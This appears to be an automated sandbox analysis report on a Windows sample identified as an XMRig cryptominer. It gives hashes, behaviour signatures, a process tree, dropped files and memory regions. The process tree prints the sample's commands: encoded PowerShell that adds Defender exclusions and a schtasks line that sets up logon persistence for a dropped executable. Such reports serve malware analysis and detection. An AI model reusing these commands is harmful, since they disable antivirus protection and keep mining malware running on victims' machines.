Analysis

  • max time kernel
    138s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    22-12-2024 05:31

General

  • Target

    JaffaCakes118_3827317e20eedc457ed42abdbdaa802553c5ec7d915afc0e1935c2e04763f576.exe

  • Size

    4.0MB

  • MD5

    5a805a1885c997f1c16dc1139647a2fa

  • SHA1

    b9ae32525966e3b0afbaf04b126ed61bb848578d

  • SHA256

    3827317e20eedc457ed42abdbdaa802553c5ec7d915afc0e1935c2e04763f576

  • SHA512

    5e72ce42323c17617ffc9cfa0e23a42aa27bdbc873d32bebffc854c987281e6422a622ca8b2b3458ebbe40580a2056925bc121afb2a107d2cf7bd54f9bbc8115

  • SSDEEP

    98304:/0pw2ok7N2KgY9s8roDXYqK7kPhqsBfz6rDb9ciFSUjWNz:/ww21gCrmYqzk66iiFpjWN

Malware Config

Signatures

  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 16 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 40 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of WriteProcessMemory 49 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_3827317e20eedc457ed42abdbdaa802553c5ec7d915afc0e1935c2e04763f576.exe
    "C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_3827317e20eedc457ed42abdbdaa802553c5ec7d915afc0e1935c2e04763f576.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2244
    • C:\Windows\system32\cmd.exe
      "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1500
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"
        3⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1944
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="
        3⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2940
    • C:\Windows\system32\cmd.exe
      "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\services.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3028
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /sc onlogon /rl highest /tn "services" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\services.exe"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2188
    • C:\Windows\system32\cmd.exe
      "cmd" cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\services.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2772
      • C:\Users\Admin\AppData\Roaming\Microsoft\services.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\services.exe
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2764
        • C:\Windows\system32\cmd.exe
          "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2776
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"
            5⤵
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2804
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="
            5⤵
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2516
        • C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost64.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost64.exe"
          4⤵
          • Executes dropped EXE
          PID:648
        • C:\Windows\explorer.exe
          C:\Windows\explorer.exe hjmtepjezjqro0 Xji3FXYfqqI2timPThbgZueMNpSES88mLhMz2ywydJRhyomsEanimzL+XPt/OnL5zkmhp4OKKV4oWMsUGWdwsoJudug7VIc6ebqddtMoL+8IBSLOtVFEJNctzsbAFCv5LFA0+pkqqr1nCx8fTFBuMw+OLiwo/SsR3rjZo+bft8oJOnArJgxMPdtfn3m4ICAAM3e2n70xyYsrZgv/mIjZ2s9MaWAVhE4vx5zxn4+fM4NxwQhCGRkaMVzSVPxkc4W4VUXCpA4yUlvFPRJn8S+yy9iUUpnGCywwE6cDcLt5DZIDXewj+xO4xE/aANwcdtidmwr0//85B+3VNT5iZiIC3FLzQE/vsUkNT9YQYUOQPjfBnjL7vzm5Q1ckI01V+0GBIlv+bX5ygP0xmeV9VgfPl4NZiC/LoM58JakN7IxZR/9DzCU+xTFYW50R3bR0l6IO+xdIhsG4X3v9YDNU15Qyzwt23IvvYW3sPOlKmWRLgwD96cvd5iEhR2cumm/yVjL+ep0ofcLS7oFfXR0ilf2PbHlOBAOD/Og2BO6+8Hub5pmAa4t7ZIn5+0N2NOskC6yM8a6D7Dm0+0piBWt4f1GEFQeaPWL5WT2tK8p6lkP4xuY=
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1796

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    7055adced066785029966ad17c060efc

    SHA1

    6a6c53d8275b7dbb5f930ba50dd7f50474da8063

    SHA256

    eb869e9ba0b10a863aa35ad38faf633826ef7d93cf03db359e2438d5b4a13ff9

    SHA512

    86006ed2836ccf6a9c18f3d8ad4458278432285887e29b655df60d3da89bdeb99b277bf2a757a355536ed6bf54d93c332f1314a0fb3a34c58a33e74a436def7c

  • C:\Users\Admin\AppData\Roaming\Microsoft\services.exe

    Filesize

    4.0MB

    MD5

    5a805a1885c997f1c16dc1139647a2fa

    SHA1

    b9ae32525966e3b0afbaf04b126ed61bb848578d

    SHA256

    3827317e20eedc457ed42abdbdaa802553c5ec7d915afc0e1935c2e04763f576

    SHA512

    5e72ce42323c17617ffc9cfa0e23a42aa27bdbc873d32bebffc854c987281e6422a622ca8b2b3458ebbe40580a2056925bc121afb2a107d2cf7bd54f9bbc8115

  • \Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost64.exe

    Filesize

    9KB

    MD5

    0d8117d686e091d17e3ec9bf8c0f26d9

    SHA1

    8265e07f64177c4b647378df8b17f22784cbcc6c

    SHA256

    cd540b5a0e6291b1eef4621cb25abb409693160bb1397438f6d02d7e2966a3fe

    SHA512

    7cf2472a9ecd52445c5e8eca896dea062d9b960f341caede31d479883040efee34602765e89557228336f09dfb4d2c1c44b1b2c1759436dc4fec3749a514ec71

  • memory/648-47-0x000000013F6C0000-0x000000013F6C6000-memory.dmp

    Filesize

    24KB

  • memory/1796-65-0x0000000140000000-0x0000000140787000-memory.dmp

    Filesize

    7.5MB

  • memory/1796-61-0x0000000140000000-0x0000000140787000-memory.dmp

    Filesize

    7.5MB

  • memory/1796-78-0x0000000140000000-0x0000000140787000-memory.dmp

    Filesize

    7.5MB

  • memory/1796-71-0x0000000140000000-0x0000000140787000-memory.dmp

    Filesize

    7.5MB

  • memory/1796-81-0x0000000140000000-0x0000000140787000-memory.dmp

    Filesize

    7.5MB

  • memory/1796-79-0x0000000140000000-0x0000000140787000-memory.dmp

    Filesize

    7.5MB

  • memory/1796-53-0x0000000140000000-0x0000000140787000-memory.dmp

    Filesize

    7.5MB

  • memory/1796-55-0x0000000140000000-0x0000000140787000-memory.dmp

    Filesize

    7.5MB

  • memory/1796-51-0x0000000140000000-0x0000000140787000-memory.dmp

    Filesize

    7.5MB

  • memory/1796-57-0x0000000140000000-0x0000000140787000-memory.dmp

    Filesize

    7.5MB

  • memory/1796-77-0x0000000140000000-0x0000000140787000-memory.dmp

    Filesize

    7.5MB

  • memory/1796-59-0x0000000140000000-0x0000000140787000-memory.dmp

    Filesize

    7.5MB

  • memory/1796-63-0x0000000140000000-0x0000000140787000-memory.dmp

    Filesize

    7.5MB

  • memory/1796-75-0x0000000140000000-0x0000000140787000-memory.dmp

    Filesize

    7.5MB

  • memory/1796-69-0x0000000140000000-0x0000000140787000-memory.dmp

    Filesize

    7.5MB

  • memory/1796-73-0x000007FFFFFDF000-0x000007FFFFFE0000-memory.dmp

    Filesize

    4KB

  • memory/1796-74-0x0000000140000000-0x0000000140787000-memory.dmp

    Filesize

    7.5MB

  • memory/1796-49-0x0000000140000000-0x0000000140787000-memory.dmp

    Filesize

    7.5MB

  • memory/1796-76-0x0000000000160000-0x0000000000180000-memory.dmp

    Filesize

    128KB

  • memory/1796-80-0x0000000140000000-0x0000000140787000-memory.dmp

    Filesize

    7.5MB

  • memory/1796-67-0x0000000140000000-0x0000000140787000-memory.dmp

    Filesize

    7.5MB

  • memory/1944-10-0x0000000001E60000-0x0000000001E68000-memory.dmp

    Filesize

    32KB

  • memory/1944-12-0x000007FEF1F90000-0x000007FEF292D000-memory.dmp

    Filesize

    9.6MB

  • memory/1944-9-0x000007FEF1F90000-0x000007FEF292D000-memory.dmp

    Filesize

    9.6MB

  • memory/1944-7-0x000007FEF224E000-0x000007FEF224F000-memory.dmp

    Filesize

    4KB

  • memory/1944-8-0x000000001B760000-0x000000001BA42000-memory.dmp

    Filesize

    2.9MB

  • memory/1944-13-0x000007FEF1F90000-0x000007FEF292D000-memory.dmp

    Filesize

    9.6MB

  • memory/1944-14-0x000007FEF1F90000-0x000007FEF292D000-memory.dmp

    Filesize

    9.6MB

  • memory/1944-11-0x000007FEF1F90000-0x000007FEF292D000-memory.dmp

    Filesize

    9.6MB

  • memory/2244-1-0x000000013F9A0000-0x000000013FDAE000-memory.dmp

    Filesize

    4.1MB

  • memory/2244-2-0x000007FEF5C40000-0x000007FEF662C000-memory.dmp

    Filesize

    9.9MB

  • memory/2244-30-0x000007FEF5C40000-0x000007FEF662C000-memory.dmp

    Filesize

    9.9MB

  • memory/2244-0-0x000007FEF5C43000-0x000007FEF5C44000-memory.dmp

    Filesize

    4KB

  • memory/2244-22-0x000007FEF5C43000-0x000007FEF5C44000-memory.dmp

    Filesize

    4KB

  • memory/2244-23-0x000007FEF5C40000-0x000007FEF662C000-memory.dmp

    Filesize

    9.9MB

  • memory/2764-29-0x000000013F4D0000-0x000000013F8DE000-memory.dmp

    Filesize

    4.1MB

  • memory/2940-21-0x0000000002860000-0x0000000002868000-memory.dmp

    Filesize

    32KB

  • memory/2940-20-0x000000001B620000-0x000000001B902000-memory.dmp

    Filesize

    2.9MB